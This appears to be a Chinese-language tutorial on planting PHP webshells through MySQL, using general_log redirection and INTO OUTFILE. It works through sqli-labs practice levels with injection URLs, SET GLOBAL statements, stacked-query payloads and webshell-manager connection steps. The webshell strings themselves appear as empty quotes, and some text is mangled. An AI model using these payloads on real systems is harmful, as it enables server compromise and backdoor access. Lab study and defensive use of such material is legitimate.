基础知识
MySQL写马主要分为into outfile和日志写马两种
日志写马
日志写马需要将全局变量general_log设置成on,MySQL的两个全局变量:
-general_log:保存日志状态
-general_log_file:日志保存路径
我这里就是显示的off,要把它设置成on

设置成on:

设置成on之后,日志文件就会记录我们写的SQL语句了,我们的日志文件就是上图中的general_log_file里面的那一栏,不管我们的SQL语句是否正确都会被记录进去,有一个点和dns那里一样,那就是secure_file_prov的值也必须是空才可以,不过general_log_file可以直接通过SQL语句修改,必须要修改为比如php后缀的文件,不然马不能被解析

我们这里填入general_log_file的路径必须是绝对路径,我们会使用set命令把MySQL日志重定向到一个php文件,这里必须是php文件,否则我们写入的马不会被解析,这个php文件必须放在网站的根目录或者可访问的子目录,如果路径没写对那就是白费:
MySQL 的 general_log_file 等配置,要求路径必须是绝对路径(从磁盘根目录开始的完整路径,如 /Applications/phpstudy/WWW/log.php 或 D:\phpStudy\WWW\log.php),不能是相对路径。
只有知道网站的绝对路径,你才能构造出合法的 general_log_file 路径,让 MySQL 把日志写到你指定的 PHP 文件里。
我们可以使用select @@b asedir;查看MySQL数据库安装的绝对路径:
mysql> select @@b asedir;
+——————————–+
| @@b asedir |
+——————————–+
| D:/phpStudy/PHPTutorial/MySQL/ |
+——————————–+
1 row in set (0.07 sec)
我们在实际操作时,先将general_log设置成on:
set global general_log = ‘on’;
set global general_log_file = ‘/Applications/phpstudy/WWW/log.php’;
这个时候是用不了union的,它用不了set
因为要日志写马能够连接必须要修改general_log_file为比如php后缀的文件,不然马不能被解析。所以必须要先用到set global general_log_file=’…php’;,那么union注入就没机会了,union基本都是?id=1 union select 1,2,select ‘‘;这样,不能执行set的。
(2)有堆叠注入,要先?id=1;set global general_log_file=’…php’;,然后直接执行?id=1;select ‘‘;
不过首先要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query(),那么我们此处就可以执行多个sql语句进行注入。一般后台查询数据库使用的语句都是用mysql_query(),所以堆叠注入在mysql上不常见。mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句。
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
(3)再者就是已经成功登录到别人的数据库里了,要先set global general_log_file=’…php’;,然后直接执行select ‘‘;
6.对方没有对’和”进行过滤,因为outfile后面的物理路径必须要有引号
下面是一般流程:
set global general_log_file=’…php’;
select ‘‘;
或者堆叠注入:
set global general_log_file=’…php’;
?id=1;select ‘‘;
或者直接?id=;都可以了,因为sql语句不管对错日志都会记录
当然这里要看环境支不支持堆叠注入了
例子
sqli-labs第三十八关:
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1‘ union select 1,2,3;set global general_log=’on’;–+
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1‘ union select 1,2,3;set global general_log_file=’D:\phpStudy\PHPTutorial\WWW\log.php’;–+(typora里面两个当成特殊符号了)

这里\要换成两个,涉及到转义
http://127.0.0.1/sqli-labs-master/Less-38/?id=1';select ‘‘;–+
或者直接?id=;都可以了,因为sql语句不管对错日志都会记录

/usr/local/mysql/bin/mysql -u root -p 进入MySQL
参考文献:
https://ccc-f.github.io/posts/3e95d273#%E6%9D%A1%E4%BB%B6
mysql into outfile注射一句话木马
这个同样也需要secure_file_priv是空,同样也需要绝对路径
MySQL 可以把查询结果写入服务器文件。
SQL语法:
1 | SELECT 内容 INTO OUTFILE '服务器路径/文件名' |
数据库会:
1 | 把 SELECT 查询结果 → 写入服务器磁盘文件 |
例如:
1 | SELECT 'hello' INTO OUTFILE '/tmp/test.txt' |
服务器就会生成:
1 | /tmp/test.txt |
内容:
1 | hello |
一般来说就是:unsion select ‘语句’ into outfile “绝对路径”
unsion select ‘语句’ into outfile “绝对路径”,这个绝对路径有的时候可以根据题目的报错得知
http://www.test.com/xxxx.php/1.txt?id=1 UNION SELECT 1,’‘ into outfile “C:/phpStudy/WWW/666.php”
在直接登录进数据库时:
SELECT ““
INTO OUTFILE ‘/tmp/test1.php’
在url里要用union:
例子:
?id=1 union select ‘‘ into outfile “C:/phpStudy/WWW/a.php”
?id=1’)) UNION SELECT 1,2,’‘ into outfile “D:\phpStudy\PHPTutorial\WWW\hack.php” –+
或者堆叠:
?id=1’);SELECT ‘‘ into outfile “D:\phpStudy\PHPTutorial\WWW\hack.php”;–+
1.判断注入类型
http://127.0.0.1/sqli-labs-master/Less-7/?id=1‘ 报错
http://127.0.0.1/sqli-labs-master/Less-7/?id=1‘)) –+ 正常
2.判断列数
http://127.0.0.1/sqli-labs-master/Less-7/?id=1‘)) order by 3 –+ 正常
http://127.0.0.1/sqli-labs-master/Less-7/?id=1‘)) order by 4 –+ 报错
说明存在3列
3.文件写入
http://127.0.0.1/sqli-labs-master/Less-7?id=1‘)) UNION SELECT 1,2,’‘ into outfile “D:\phpStudy\PHPTutorial\WWW\hack.php” –+(一样还是两个)
或者”D:/phpStudy/PHPTutorial/WWW/hack.php”,就是不能\,经过测试这样导入不成功。

上面的图中报了错:You have an error in your SQL syntax,显示sql出错了,但是没有关系,我们可以在文件中看到hack.php已经生成了。
这时候用菜刀等webshell管理工具连接就可以了,我下面用的是蚁剑,可以看到连接成功。

堆叠注入:http://127.0.0.1/sqli-labs-master/Less-40/?id=1');SELECT ‘‘ into outfile “D:\phpStudy\PHPTutorial\WWW\hack.php”;–+
然后该目录下便生成了我们的马儿,用shell管理工具便可成功连接。从这里可以看到一定要知道网站的绝对路径。
直接成功登录数据库的into outfile写入一句话木马可以说是方法和前面两个的差不多,就是可以用show来看全局变量的值。这里就不赘述了。